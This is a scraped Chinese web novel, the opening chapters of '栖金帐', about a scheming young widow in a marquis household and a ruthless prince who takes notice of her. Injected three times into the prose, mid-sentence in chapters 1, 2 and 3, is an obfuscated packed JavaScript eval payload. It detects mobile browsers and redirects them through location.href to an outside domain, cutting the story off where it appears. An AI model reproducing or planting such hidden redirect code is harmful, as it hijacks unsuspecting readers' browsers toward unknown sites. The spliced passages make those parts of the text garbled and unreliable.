《栖金帐》 1. 第1章 时隔半年，江葭再一次成为了满京城的谈资。 通过婚事嫁入高门向来是众人津津乐道的话题，半年前，她便切身体验了番。 彼时，一道赐婚圣旨让她从一名六品京官之女一跃成为了武安侯府的正头娘子，由此跻身到权贵夫人们的圈子中。 这些贵妇人大多出身大族，向来鄙夷通过婚事嫁至高门的女子，但江葭不同，她们私下提及她时多少带了些怜意。 原因无他，她即将要嫁的这人也就是如今武安侯的侄子，去年平乱后身负重伤，缠绵病榻近一年光景。不过许是这桩喜事来得及时，已是病入膏肓的谢应良又撑了半年，在弘泰二十年的寒冬才咽下了最后一口气。 于是毫无疑问地，江葭再次成为了京城的话题人物。 她本人丝毫不理会府外的风言风语，但她身旁的瑞珠显然不如她这般定得下心。这也不怪罪她，毕竟以江葭的做派，她身旁丫鬟仆妇见着皆触目惊心，遑论陪着她长大的贴身丫鬟瑞珠。 自夫君逝世后，江葭便是一副悲痛欲绝的模样。 他逝世当日，江葭本在陪伴谢老夫人礼佛，得知他的死讯后，她一时恸极，昏厥倒地； 第二日，江葭亲自到灵前祭奠，情不自已，双目皆哭得红肿不堪，更是坚持要从早到晚守在灵前，茶饭无心； 第三日，亦是如此。 就这样一直到了谢应良头七这日，江葭照旧如往日一般早早到了灵堂。 即便清楚个中缘由，眼见她一日日消瘦下去，瑞珠不免心疼。 思及此，她拢了拢手中抱着的斗篷，加快了脚步。 抄手游廊上，谢老夫人抱着手上的汤婆子，眯了眼向那道身影看去，侧身问道：“江氏还在灵堂守着么？” 乍一听见老太太这句意味不明的问话，贴身丫鬟素心愣了瞬，随即恭敬回答：“是，少夫人卯时二刻便来了。” 老太太似是被风雪迷了眼睛，沉默许久方嘀咕了句：“可怜见的。” “也罢，今日有宾客来侯府祭奠，待会你随我一起去灵堂。” 素心垂眼应是，心中暗叹这江氏倒也是个厉害的。老太太心中明镜似的，岂能不明白这其中能有几分真情实意，但即便如此，明面上能做到这个地步的也是不易。老太太如今耳根子软，心也软，依江氏的能力，打动她也是迟早的事。 掀开毡帘，便见江葭仍跪在蒲团上，单薄的身形，似是风一吹便要折了去。瑞珠鼻尖直泛酸，心想先前在宣州府时，有老夫人护着，小姐又何须这般作践自己来为日后苦心谋划。 “瑞珠，昨日吩咐的那件事可打听清楚了？” 瑞珠骤然被打断思绪，神思恍惚了些，随后意识到她话语中的意味，不由心头一凛。 “今日宫中许是不会来人，只不过，”一想到小姐昨日同她提及的那番安排，她不免心惊胆颤，喉间滚动了遭继续道，“且不说此举颇为危险，今日来府上祭奠的宾客可不少，怕是人多口杂。” 江葭睫毛微颤，缓缓睁开双眸。 “人多，才好呢。” 轻飘飘的，没有着落，一度让瑞珠以为自己听错了。 “还记得我今早同你说的最后一句话么？” 瑞珠连忙点点头，瞬间敛了神色。 当然记得。 她说：“既入穷巷，不搏一搏，如何甘心？” 瑞珠忙道：“奴婢省得。眼下侯爷在正屋接待宾客，约莫还有一炷香的功夫便会往灵堂来。” 江葭颔首，不再言语。 . 且说正屋这边，武安侯正打着十二分精神应对着身旁的阎王爷。 并非他小题大做，而是身旁这位爷实在是心思深沉，难以揣度。 便说今日，他大多时候都敛眸刮着茶盖，时不时搭上一句腔，看似是在众人面前做足了武安侯府的脸面。 但只有武安侯最为清楚，他今日来者不善，抛出来的每一个问题都在旁侧敲击地试探他的态度。所以他只得小心应付着，生怕自己一着不慎就断送了阖府前途。偏生对方语气始终不咸不淡，他也不知自己这番回答是否合了那人的心意。 他蓦地就想起老师临终前对此人的八字评价。 “衣冠禽兽，狼子野心。” 此言当真不虚，武安侯心内由衷慨叹了番。 宫中教养出来的气度本就不会差，又加之这位晋王生了副好皮囊，谁又能轻易将此人同那些心狠手辣的手段联系到一处去。 且说前年，晋王短短半月就带领部下平定了动乱，却亲手酿下“宣州十日，江淮三屠”的惨案来； 再说上月，朝中一名御史参他暗结党羽，祸害朝政纲纪，随后就暴毙家中，据说死状凄惨。 一想起这桩桩件件，武安侯后脊一阵阵地发凉。 等等，莫不是自己近来同宰相党走得太近了些，所以晋王这才来府上试探自己的口风了？若是这种可能…… 他瞬间遍体生寒。 思来想去，终究是心内难安：“殿下今日未曾提前知会一声……如何便想着来了府上？” 啪嗒一声，是茶盖扣在茶盏上的声音。 武安侯心下登时就凉了半截，嘴角勉强维持住的笑容一丝丝僵了下去。 众人大气也不敢出，厅堂内只余寂静。 “武安侯好像不太欢迎本王亲临府上？” 声音是一如既往的平静，教人分辨不出什么情绪，但以晋王的个性，此时若真不带任何情绪，那才是见了鬼。 武安侯背上冷汗直冒，倒抽了口凉气，忙道：“您这是说的哪里话？您能来自然是咱们谢家的福气。只是……前些日子臣同殿下身边的随从确认过，他说王爷近来忙碌，想必不会驾临府上，您今日突然驾临寒舍，臣招待不周，实属罪过。” 陈续宗淡淡扫过一眼，将他面上的情绪尽收眼底，随即收了眼神，起身道：“罢了，今日本王来侯府，合该去灵前一趟。” 武安侯心内松了口气，忙不迭应下。 陈续宗向面前中年男子看去一眼，神色逐渐沉冷。 . 他们一行人到灵堂之前，侯府的女眷皆已到齐，除此之外还有从阜阳老家赶来的谢氏族人。 先前二爷谢慎早逝的时候，他们便惦记上了二房的财产，只是当时碍着老侯爷尚在世，加之二房尚未绝嗣，这才不敢轻举妄动。眼下他独子也早早病逝，二房便只剩下两个寡妇。二爷的遗孀杜氏向来是个性子软的，至于她儿媳，今日一直在低声啜泣，不言不语，如此看来是个性子更软的。更何况她家世不显，本就没有倚仗。 谢二伯自觉多了几分底气。 “这二房如今绝了嗣，二位遗孀在京城居住也不是不可，只是……” 他话锋一转，似是颇为为难。 江葭依旧垂首掩泪，心想该来的还是来了。 “京城多是非，万一惹出些风言风语，届时坏了谢家的名声，如此倒是不美。依我看，二位不如回襄阳老家居住，也图个清静。” 闻言，杜氏脸色一白，身子晃了晃。 瑞珠同江葭对视一眼，急忙大声道：“夫人向来身子不爽利，如何经受得住刺激。你们不要欺人太甚！” 江葭撑着桌沿站起身，上前伸手扶起了杜氏。 谢二伯同身旁族人对视一眼，二人皆从对方眼中看出些不安来。 他迟疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040661|162511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问道：“这是……” 江葭安抚杜氏的手一顿，随即缓缓直起身，再抬头时一行清泪从脸颊滑下，颤着声道：“我孤苦无依，你们如何左右我倒也罢了，但我婆母这些年在谢家没有功劳也有苦劳。夫君尚尸骨未寒，你们竟如此苦苦相逼，那我也不必活了，现在就到地底陪我那苦命的夫君去！” 说罢，竟是要撞棺自尽。 好在瑞珠及时将她拦下，屋内众人皆惊魂未定。 武安侯夫人吴氏脸上神色变化了好几遭，本欲出面打个圆场，身后突然传来谢老夫人的声音。 拄拐撑在地上，传来一声沉重的闷响。 “武安侯府是清流大家，岂会做出此等不仁不义之事！” 谢氏族人哪曾想过今日险些酿出人命来，犹惊疑不定，又听谢老夫人方才所言，面上皆青一阵白一阵。 谢老夫人扫过众人神色各异的面孔，最后将目光定在谢氏族人身上。那几人连忙将头低了下去。 她沉沉吐出一口浊气，平复了一番心绪，转身放缓了声音：“侯府招待不周，让晋王殿下看笑话了。” 屋中众人这才注意到谢老夫人身后站着晋王一行人，忙不迭行礼。 先前喧哗的灵堂重又回到诡异的宁静之中。 晋王走上前，目光不着痕迹地落在先前寻死觅活的女人身上。 着一身纯白的素衣，面色苍白，眼眶红肿，一双美眸盈满泪光，热孝之中虽不曾涂脂抹粉，却是楚楚可怜之态。 再仔细看上一眼，还有些面熟。 不过他向来不是怜香惜玉之人，也最恶女子在他面前做寻死觅活的伎俩。 思及此，他眸色更冷了些，沉声叫了起。 江葭双腿有些发麻，身子晃了晃。 她方才被瑞珠在灵柩前拦下，距离她最近的便是那位晋王殿下。 二人背对着众人，是以除了她之外，无人察觉到那人对自己的肆意打量。 那实在是道令人无处遁形的目光。 江葭脊背一僵，有种透不过气的感觉。 恰此时，谢老夫人淡声向吴氏吩咐：“葭儿也累了，差人扶她至房中休息。” 如此称呼，倒也不见老太太从前对江氏有多亲昵，吴氏心中腹诽不已。不过既然老太太存了抬举江氏的心思，自己日后也合该多加照拂些她。 掩下心中思量，她垂眸应是，吩咐了下去。 江葭心下松了口气，由着身旁丫鬟的搀扶静默走回观澜苑。 将吴氏指派的丫鬟打发走后，瑞珠将屋门紧紧关住。 她递过一盏热茶，才发现自己的手止不住地发抖。 江葭抬眼，接过茶盏迅速喝下。一杯温热的茶水下肚，让她回过些神来。 此时她本该感到舒心的，但相反地，方才一席事让她感到深深的不安。 “今日……宫中不是不会来人么？” 瑞珠面如土色：“二皇子去了京郊，晋王殿下……就更不应该来呀。” 江葭见她一脸茫然慌乱之色，也知问不出些什么，叹了声：“也罢，我有些乏了，你也回去歇会吧。” 瑞珠连忙欸了一声，上前放下床帏。 江葭很快入睡，却睡得极不安稳。 她好似又回到了弘泰十八年。 只不过睡梦中的宣州府没有慈祥的祖母，只有血腥的杀戮。 那年她自愿前去施粥，谁知遇着灾民闹事，晋王带兵镇压动乱。 他亲自斩杀了一名带头闹事的灾民，就在江葭面前。 鲜血飞溅到她身上，她抬头，恰巧同高头大马上那人对视。 那一双淡漠至极的眼恰巧同今日这双眼重叠。 2. 第2章 她被突如其来的噩梦惊醒，再无睡意。 瑞珠跑进屋来，一边绞了湿帕子擦过她额上冷汗，一边关切道：“小姐可是又魇着了？” 江葭摇头又点头，下意识看向窗外，沙哑问道：“现在是什么时候了？” “已是申时二刻。” 江葭掀开身上锦被，正欲起身。 瑞珠连忙拦住她：“小姐莫急，老夫人特意遣人来嘱咐过，说您不必再时刻守在灵堂了，还差人送来了补品。” 江葭这才注意到桌上堆了好些礼品。 瑞珠又补充了句：“大房三房也跟着送来了些礼品。” 她突然觉得莫大的荒谬。 嫁进侯府半年以来，府中这些人好似到今日才注意到有她这个人似的。 可既已到了今日这般处境，便由不得她一味怨天尤人。 “都收起来罢，”她一顿，又道，“挑些好的送去军营给我阿弟。” 瑞珠应声，主仆俩都极为默契地不再提及江家其他人。 祖母逝世后，江葭同父母本就疏远的关系变得更为淡薄，唯有阿弟同江葭亲近些，血缘亲情淡薄至斯，说来也是可笑。 而这同江父不无关系。 他寒窗苦读却屡试不第，以免扰他读书，江葭自出生起就被送回宣州老家由祖母抚养，只有逢年节时才会见到父母。待江父有功名在身时，祖母舍不得江葭，江葭也不愿离开祖母，是以她直到祖母去世才不得已启程回京。 正是江母准备为她相看人家时，一道赐婚圣旨打得江家人措手不及。在知晓这其中有权势滔天的晋王推波助澜后，原本对此事颇有微词的江家人一齐选择了沉默。 但其实，给谢应良挑选一名冲喜对象当真只是晋王对着名单随手一指的结果。 他需要顺水推舟，给自己这位忠心的下属以临终关怀，以此招揽更多的忠诚之士入他门下，最好是如谢应良这般死心塌地为他卖命。至于旁的，他并未多想。对方只需是一名小官之女，如此便不算是辱没了武安侯府的门第，更何况，她若真过惯了侯府锦衣玉食的生活，想必对他感恩戴德还来不及，又何谈亏欠。 江葭若是知晓他内心所想，怕是真会冷笑几声，这作孽的造化谁想要便要吧。 . 因着年节将至的缘故，谢应良的棺椁下葬得匆忙。 出殡这日，大雪纷飞。朔风夹着雪粒呼啦啦地往人的脸上扑，直刮得脸生疼。江葭低垂着头，轻吸了吸鼻子。 若说她对这名义上的丈夫是否有情，那定是没有的。毕竟自她嫁进侯府的那一日起，他一直昏迷不醒。连相敬如宾都不曾有过，又何来伉俪情深。只是如今难免触景生情罢了。 她艰难抬了头。满目的白，便连天也是白的。 她心内一片悲凉。 一片哀乐声中，江葭最后一次演足了戏。葬礼过后，不论外人对她如何揣度，武安侯府对她的表现总归是满意的。 这具体体现在谢老夫人待她的态度上，上行下效，侯府一众人等再也不敢怠慢了她。 武安侯府之外，众人也是心明眼亮，先前鲜少见到的请帖开始接二连三地送到江葭手上。 起初，江葭以孝期为由一一推却，哪想谢老夫人有意推她出府交际，江葭只得频繁参加起世家夫人们轮番举办的宴会。赏花会，品茶宴，游湖会等等，不一而足，日子长了，她逐渐同三房的陈氏越走越近。 陈氏不同于明面上对谁都不偏不倚的吴氏，待江葭亲昵非常，平日常常捎带她一同出府赴宴，旁人也不敢将江葭看轻了去，毕竟陈氏有个异姓封王，炙手可热的晋王表兄，就凭这点，便无人再敢越过她去。 对待陈氏突如其来的示好与亲昵，江葭并不适应。 不过抛却这点，她近来的生活确实是她在京城几年中最为畅意的日子。锦衣玉食，吃穿不愁，加之二房只余她和一位性子慈和的婆母，烦心事也省去不少。她从前想过的后院纷争，夫妻矛盾，生育之苦皆不存在于真实的婚后生活中。 她有时想，老天还算是怜她，日子若能这般平平淡淡地过下去，也未尝不可。 但有人偏不遂她心愿。 看着面前捧着糕点盒的赤诚少年，江葭面上温恭的笑容险些挂不住。 她陪同谢老夫人入宫侍疾两回，二皇子就堵了她两回。 前一回，她煞费苦心地编造了许多理由，话虽说得委婉，但她自认已将意思表露得极其明白，只盼那厢能彻底打消此番荒唐念头，是以今日再见那个面熟的宫人时，她只觉迎面一盆冷水兜头泼下。 “我知你自小在宣州府长大，所以特意差人从宣州买了白苓糕给你。” 少年赤诚，恨不能将天上明月都摘下来捧给她。 说罢，赵钦就要将手中的糕点盒塞到她手上。 她霎时回过神来，触电般伸手推了回去。 “殿下万万不可，这匣子是宫中之物，若是带出宫外，怕是会徒生风波，届时于您的名声也是不利。” “那下次便让宫外的人直接送到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040662|162511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府上去，如何？” 江葭面上僵了僵，终是收敛了笑意。 “殿下自重，夫君犹尸骨未寒……” 话未说完，就被生硬打断，他摇头苦笑了声：“你上回也是如此说，但你那名义上的夫君一向昏迷不醒，你同他之间何来感情？” 江葭深吸一口气，心下一阵阵地发寒。 他是皇子，即便犯了错，生了事也不会有大碍，那她呢？ 焉知她如今的生活不是她所求所愿？细水长流，平静安宁，她很知足，也想不到比这更好的去处。 这是她费心接受，苦心谋划而来的生活。 她不愿任何人打破这般平静。 正是哑口无言之际，站在门外放风的宫人快步走过来急道：“寿康宫的宫女已经在寻人了。” 她心内暗舒了口气，福了福身子：“妾身失礼。” 赵钦看她那副避之不及的模样，垂在衣侧的双手紧攥成拳，拔高了声音对着她背影喊道：“我会等……” 后面他还说了些什么，她没听清楚，也不想听。 江葭脚下一顿，攥紧了手中帕子，随后加快了步子向外走去。 眼见她头也不回地走了，赵钦抱着手中的糕点盒绕过闱门，失神落魄地走在宫道上。 “殿下。” 身后的随从急唤了一声，提醒他注意宫道上的来人。赵钦这才猛地回过神来，嗫喏着唇喊了声：“堂兄。” 陈续宗倚坐在轿辇上，不咸不淡地嗯了声，算作回应。 他垂眼在赵钦微红的眼眶上打量了一圈，脑海蓦地浮现出方才看见的素白裙角，开了口，似是随意问道：“方才在和谁说话？” 除去父皇，赵钦最怵的便是这位晋王堂兄。 他神色明显不自然了些许，搪塞道：“只是一个小宫女罢了。” 陈续宗微挑了眉，不置可否，又将视线落在他手中抱着的匣子上：“这是什么？” 赵钦下意识紧了紧手中抱着的匣子：“宣州买来的白苓糕，不值当的小玩意。” 陈续宗收了眼神：“近来天气寒凉，去资善堂的路上记得当心些。” “多谢堂兄关心。” 陈续宗不再问话，放他走了。 他招手示意随从常喜近前，沉声道：“将那封信送到兵部尚书严大人手中，不可出任何闪失。” 常喜应声，领了命就欲转身跑开。 “等等，”他微顿，随即淡声吩咐，“打听一下，今日入宫的女眷都有何人。” 3. 第3章 金銮殿外。 天边已下起了淅沥的小雨，皇帝身边的总管太监曹平抻着脑袋向远处张望，见晋王的轿辇终于出现在面前，满是横肉的脸上忙堆起笑容，撑伞前去迎接。 天子身边的红人亲自为他撑伞，何等的荣耀。 但有人分明没将他看在眼里。 陈续宗甚至不屑施舍他一个眼神，只大步向前走去。 曹平面上的讪笑终是一僵。 进殿后，不及行礼，坐在龙椅上的天子立马免了他的礼。 “快坐，在朕面前不必拘这些虚礼。” 陈续宗谢了恩，宫人随即入殿摆上茶水。 老态龙钟的天子缓缓睁开双眼，开口问道：“此番征伐北襄的将领人选可已定下？” “臣已同兵部议定，西路东路分别由副将董铭和李文忠领兵，这二人虽年轻，却是不可多得的将才；中路最为艰险，而雷祖谦将军作战经验丰富，交予此人最为稳当。” 皇帝眼珠微转了转，沉思许久，皱了眉头道：“董李二人未免太年轻了些，想必难以服众。” 晋王心中打的什么算盘，他不是一无所知。这二人皆是他悉心栽培，一手提拔上来的心腹下属，届时若是立下军功，晋王便当真要在朝中一手遮天了。 陈续宗垂眼放下手中茶盏，平静道：“将领的年纪并非取胜关键因素，能力才是。不过圣上心中若有更为合适的人选，臣别无二话。” 皇帝一噎。 是啊，放眼朝堂满朝文武，他一时竟想不出一个可用之人的名字。 前些年他穷兵黩武，折损了不少得力将领，以致于如今到了朝廷用人的紧要关头只能处处遭人掣肘。想他这位执政二十年的天子，年近花甲，身旁却一个能用的人也没有，当真可笑。 军事如此，政务亦是如此。 其实不是完全没有可用之人，而是没有信得过的心腹能臣。且不说那三个不成器的皇子，朝中哪个文臣武将不是仰他鼻息，但谁又知他们心中打的什么算盘？如今朝中晋王势力日显，唯有宰相能与之抗争一二，但外戚独大是为大忌，相较宰相，他更愿意信任晋王，那位至少也算是半个皇家人。 “罢了，朕既已将此次征伐北襄的战事全权交由你调度指挥，就都依你说的办。上回的贪渎案你办得很好，所以这次战事，朕同样相信你。”他咬牙强调了“很好”二字。 他负责查办的这桩贪渎案能办得不好么？ 为了震慑百官，他以雷霆手段拔除了全国四府十九州的贪官污吏，其中也包括圣上倾注无数心力培养的皇长子。即便圣上已经极力保全了自己这个儿子，但皇长子这些年建立的威信也随之付之一炬，此子与废子无异。当今圣上本就子嗣不丰，眼下更是折了一个他极为看重的儿子，这让他心中如何不恨，若说那人毫无私心他是万万不信的。 可对面那人依旧能平静应答,令他挑不出丝毫错处：“臣定当竭尽全力，不负圣上所托。” 圣上龙袍下的手渐渐紧攥成拳：“朕乏了，你且退下。” 目送他离去的背影，皇帝浑浊的双目逐渐变为锐利。 他不由想起了晋王的生母，亦是他的皇姐。 活着的时候要处处同他争权夺利，便连死了，也要留下这么一个儿子来折磨他，日日为他费心劳神。皇帝心中厌烦地想，儿子肖母，这野心勃勃的母子俩当真是像极了。 都是吃人不吐骨头的豺狼虎豹。 . 冬日天黑得极早。 陈续宗走出金銮殿的时候，殿外已是漆黑一片，唯有零星的几盏宫灯在寒风中明灭起伏。常喜见他出殿，忙将手中的鹤氅披在他身上，拔脚跟他走向马车。 回到王府已近戌时，陈续宗径直回了书房，跳动的烛火照映在他冷硬的面庞上，打下一片阴影。 “殿下，这是此番征伐北襄的将领名册，”常喜向他身前递过一份名册，压低了声音，“李将军说，孔家塞了人进来。” “哦？”陈续宗微抬了眼，“宰相的侄子？” 常喜垂首应是。 “吩咐李文忠派人盯紧他，至于其他人……” 陈续宗目光略过案几上的名册，微皱了眉头，伸手拿起朱笔划了两道。 “吩咐下去，重新再选，务必从军中选些年轻的将士送派前线。” 常喜心下一凛，双手接过名册。 快要走出去时，他蓦地又意识到自己漏了一事，转身走了回去轻声禀报：“王爷，还有一事，今日仅有武安侯府女眷入了宫，听说是府上的老夫人带着那位新寡的孙媳到寿康宫中侍疾。” 陈续宗揉着额角的手一顿，掀眼看他：“当真？” 常喜连连点头。 那边沉默许久，不知心中在想些什么。 良久，他冷笑一声：“当日在灵堂上闹着寻死觅活，如今还不是想着琵琶别抱？本王还当她是个有气性的，如今看来不过如此。” 常喜偷瞥了眼主子的脸色，附和道：“王爷说得极是，这世间哪有女子甘心年纪轻轻就守了寡呢？这江氏又是个貌美的，心中想着攀高枝倒也合乎情理。” 话音刚落，书房中原本有一下没一下叩击椅袱的声响戛然而止。 他支着手倚在椅上，神情有些许古怪。 武安侯的侄媳，方才电光石火之间，他蓦地想起自己在宣州府时见过那张面孔。 明明是害怕极了，却不肯后退半步，依旧绷直着脊背，甚至抬头直视他。 既矛盾又倔强，他当时觉得这人有趣得紧。 他突然开口问了句：“她是个什么身份？” 常喜闻言愣了一瞬，随即惊诧道：“王爷，您当真忘了么？” 陈续宗掀起眼皮，淡淡扫他一眼。 常喜呼吸一滞，自知失言，连忙道：“翰林院修纂江奉儒之女，”他偷瞥了眼主子的脸色，又补充了句，“这桩婚事还是您向圣上提议的。” 书房气氛明显沉寂了些许。 常喜俛首低眉，心跳如擂鼓。 半晌，他才听到那人不辨情绪道： “派人仔细去查她的身份。” 一月之后，看到呈至案上的一份记录，陈续宗脸色瞬间难看至极。 他难得发作，动了脾气，将手中一沓信纸重重掷于书案上。 “你当真越发会当差了。” 常喜人精似的，怎会听不出他话中咬牙切齿的意味，扑通一声跪在地上，双腿犹打着颤。 他十分确认自己将这份差事办砸了。 作为王爷的随从，他自认已将王爷的意思揣摩得极为透彻了，一向喜怒不形于色的王爷却为此大动肝火，他心中既惊且疑。 心中虽费解，他硬着头皮劝慰：“王爷，切莫动了肝火，伤了您的玉体可是得不偿失啊。” 得了那人咬牙道的一个“滚”字，常喜连忙爬起身退下。 屋门被人轻轻带上，书房内只余陈续宗一人。 他倚靠在雕花紫檀椅上，低头看着案上那一沓信纸，眸色晦暗难明。 信纸上记载的是江氏近一月的一言一行。 简直是荒谬至极。 他揉着眉心，心想底下这帮奴才当差越发不得力了，看来日后还需费心调教一番。 他决定将注意力转移到政务上。 近来筹备战事正吃紧，下属不敢马虎，大小事宜皆要向他请示批复，陈续宗从不假手于人，每个折子都仔细看过，辅以几笔朱批指示。 放下最后一本折子时已近子时，他本该回屋安置的，但鬼使神差地，他重又将那一沓信纸拿了起来。 每日不是出府赴宴，就是在府中操持事务，倒也算是老实安分。 陈续宗一目十行，并未发现不妥之处，正准备吩咐下人拿下去烧了，目光突然定在并不显眼的一行小字上。 廿八，京郊虎豹营外，同一人交谈许久。 他沉冷眸中隐约浮现寒意，京郊虎豹营是他的精锐骑兵营，她一妇人去那等重地又是作甚？ . 且说江葭这边，恰逢年关将至，她也越发忙碌了起来。 说来也是莫名，她近来总是感觉脊背发凉，似是有人监视自己一般，她说与瑞珠听，那厢却劝她忙碌起来便不会胡思乱想。 江葭想来也觉有理，于是作罢，将全身心投入到打理府中杂务上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040663|162511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了岁末，阖府都忙碌起来。二房虽说人丁稀薄，但上下事务操办起来也是繁琐芜杂。杜氏又向来是个不理事的，接连遭受丧夫丧子的打击之后尤甚，索性将一应事务交由儿媳打理，江葭不好推却，只好硬着头皮揽了过来。 旁人想她出身小门小户，头一遭操办起侯府事务必是会闹出不少笑话。但令人大跌眼镜的是，江葭做事可谓是滴水不漏，令人丝毫挑不出错处来。众人震惊之余，也对她多了些刮目相看。 谢老夫人耳聪目明，对江葭自然多了几分欣赏，加之本就存在的些许怜意，也就越发在府中抬举她，甚至隐隐出现要越过大房三房两位正头夫人的势头。 吴氏作为大房长媳，心中自是生出些不满来，待江葭也就疏远了些。至于三房的陈氏，似乎是对这一切浑不在意，如往常一般笑呵呵地邀江葭一同出府赴宴。 不过今日江葭另有安排，是以婉拒了她的邀约。 甫一下了软轿，她就见到身姿笔挺如松的少年。 许久未见，姐弟俩一时都无限感慨。 “阿姐……如今也是今非昔比了。” 她身上华贵的衣料，精致的珠翠无一不在彰显着侯府的气度，妇人髻高高挽就，少了些许稚嫩，多了几分韵味。 江葭点点头，心酸道：“阿渝瘦了不少。” 她这个弟弟虽说与她没有血缘关系，却同她有着一同长大的情分，是如今她在江家最为亲近之人。 “此番上阵杀敌，阿姐只愿你多加保重，平安归来。” 谈及战事，少年眼眸中霎时迸发出光彩。 “阿姐，若非晋王殿下下令重新再选，我本没有机会的。原先武参将仅遴选家世背景显赫之人，他们出身高门，处处看不起我，我也自知比不过他们，何曾奢望过在军中压他们一头……” 听到晋王这个名号，江葭脸上笑容僵了僵。 江渝明显察觉到周围氛围一滞，声音渐渐弱了下去。 他立时清醒过来，心中打了个颤，绝不能在阿姐面前提及晋王此人。若不是他，阿姐便不会落到如今年纪轻轻便守了寡的境地。 江葭只作并未察觉，深吸了口气，正色道：“阿渝，人生在世，须知贫贱不可自欺的道理。纵使你家世背景比不上他们，可你也必然有优于他人的长处。卫青为奴时觉得不被主子抽鞭子便极为满足，岂料日后封候拜将，大破匈奴，所以说世事难料，旁人看轻你并不打紧，重要的是你不要看轻了你自己。” 她声音清冷，极好辨别，一字一句皆传到不远处的主仆耳中。 常喜眼观鼻鼻观心地候立在侧，眼皮狠狠地跳了跳。 听这声音，同那日灵堂上如出一辙，不是武安侯府那位还是谁？ 他稍抬了头，见王爷一副冷脸平静无波，倒是看不出什么情绪，视线再下移些，看见他手上转得飞快的玉扳指，常喜心中大致就有了数。 王爷近来如魔怔了一般，他心中嘀咕。 便说今日，他陪同王爷如往常一般来军中巡视，却不想王爷进门时脚步一顿，莫名其妙地问了句：“今天是什么日子？” 是廿八，再寻常不过的日子，常喜作出回答时犹一头雾水。 随后他就见王爷转过了身，大步向外走去。 待他看见远处说话的姐弟俩时，逐渐回过些味来，今日对军中将士而言确实不同，毕竟一月中仅有这一天才能出营活动。 “走吧。” 常喜打了个激灵，霎时从胡思乱想中回过神来，再看原先两人站立的位置，却已是没了人影，他忙拔脚跟上主子。 陈续宗大步向前走，朝身后扔下一句话：“让李文忠多加留意些他。” 至于留意这二字就很耐人寻味了。 常喜有些牙疼，心中来回揣度了番，终还是拿定了主意，只是方才这番考量让他不免心惊。 想他们王爷向来是个极挑剔的，如何便对一个新寡的妇人起了意？ 不可能，绝不可能！ 常喜猛摇了摇头。 王爷平生最恶两类女人，一是寻死觅活之人，二是水性杨花之人，武安侯府那位竟把两项都占全了，且说这一点，便绝不可能罢。 4. 第4章 时间一晃就到了大年三十这日。 因着刚办完丧仪的缘故，武安侯府这年的年节注定不如往年一般热闹，阖府上下笼罩上一层愁云，压抑得人喘不过气来。 整场团圆宴上，谢老夫人始终意兴阑珊，她目光屡屡向二房的位置瞥去，那儿仅坐着江葭一人，孤零零地，令她想起白发人送黑发人的苦楚来，没来由地在她心头剜去了一块肉。 谢老夫人不着痕迹地移开眼神，恹恹地看着满堂子孙，心想等年节过后，给二房过继嗣子的事情也是时候提上日程了。 若是知晓老太太当时恰好想到了这一茬，陈淑芸定然恨不得穿越回去扇自己几个巴掌。 她向来是个会来事的，见老太太始终眉头不展，遂附耳同小儿子交待了几句，将他轻轻推了出去。 小孩子瓮声瓮气地说了几句吉祥话，惹得老太太合不拢嘴，她招手示意淳哥儿近前，拉过他的手塞了几片金叶子。 这一仔细端详让老太太心中霎时闪过好几个念头。她陡然意识到，论血缘，论年龄，眼前这个孩子都是再合适不过的人选。老太太就此起了意，面上却不显丝毫端倪，陈淑芸对此自然一无所知，笑吟吟地将淳哥儿牵回自己身边。 江葭对这一切并无多少感触，筵席过后，因着不与他人同路的缘故，江葭同瑞珠主仆二人慢慢走回观澜苑。 瑞珠突然兴奋地叫唤道：“是烟花，小姐快快许愿！” 江葭愣怔地转过身，抬头仰望，绚烂的烟花四散而落，照亮了她柔和的面庞。 瑞珠抬肘轻碰了碰她，催促她许愿。 江葭无奈冲她笑笑，双手合十闭上双眸，心中许下了三个愿望： 一愿阿弟平安归来； 二愿婆母身体康健； 三愿生活莫起波澜。 她缓缓放下双手，瑞珠好奇问她：“小姐都许了什么愿望？” 江葭微扬唇角，睨了她一眼，轻快道：“你猜。” 瑞珠愁眉苦脸，为难道：“奴婢怎么猜得到？” 主仆二人一路有说有笑地走了回去。 这边有人心旷神怡，那厢也有人愁肠九转。 “你说什么？” 乍一听到丈夫带回来的消息时，陈淑芸头脑一阵阵地发昏，险些晕厥过去。 三爷谢恽连忙捂住她的嘴，示意她小声些：“母亲方才独独留下大哥说话，话语间虽说流露些此间意思，但这也只是他的猜想罢了，说不定……” 陈淑芸一把拂开他的手，狠狠道：“老太太向来是个说一不二的主，等夫君察觉出异常时，说不定淳哥儿都送到江氏手上了，更何况以老太太近来对她的处处抬举，此事焉能有假？” 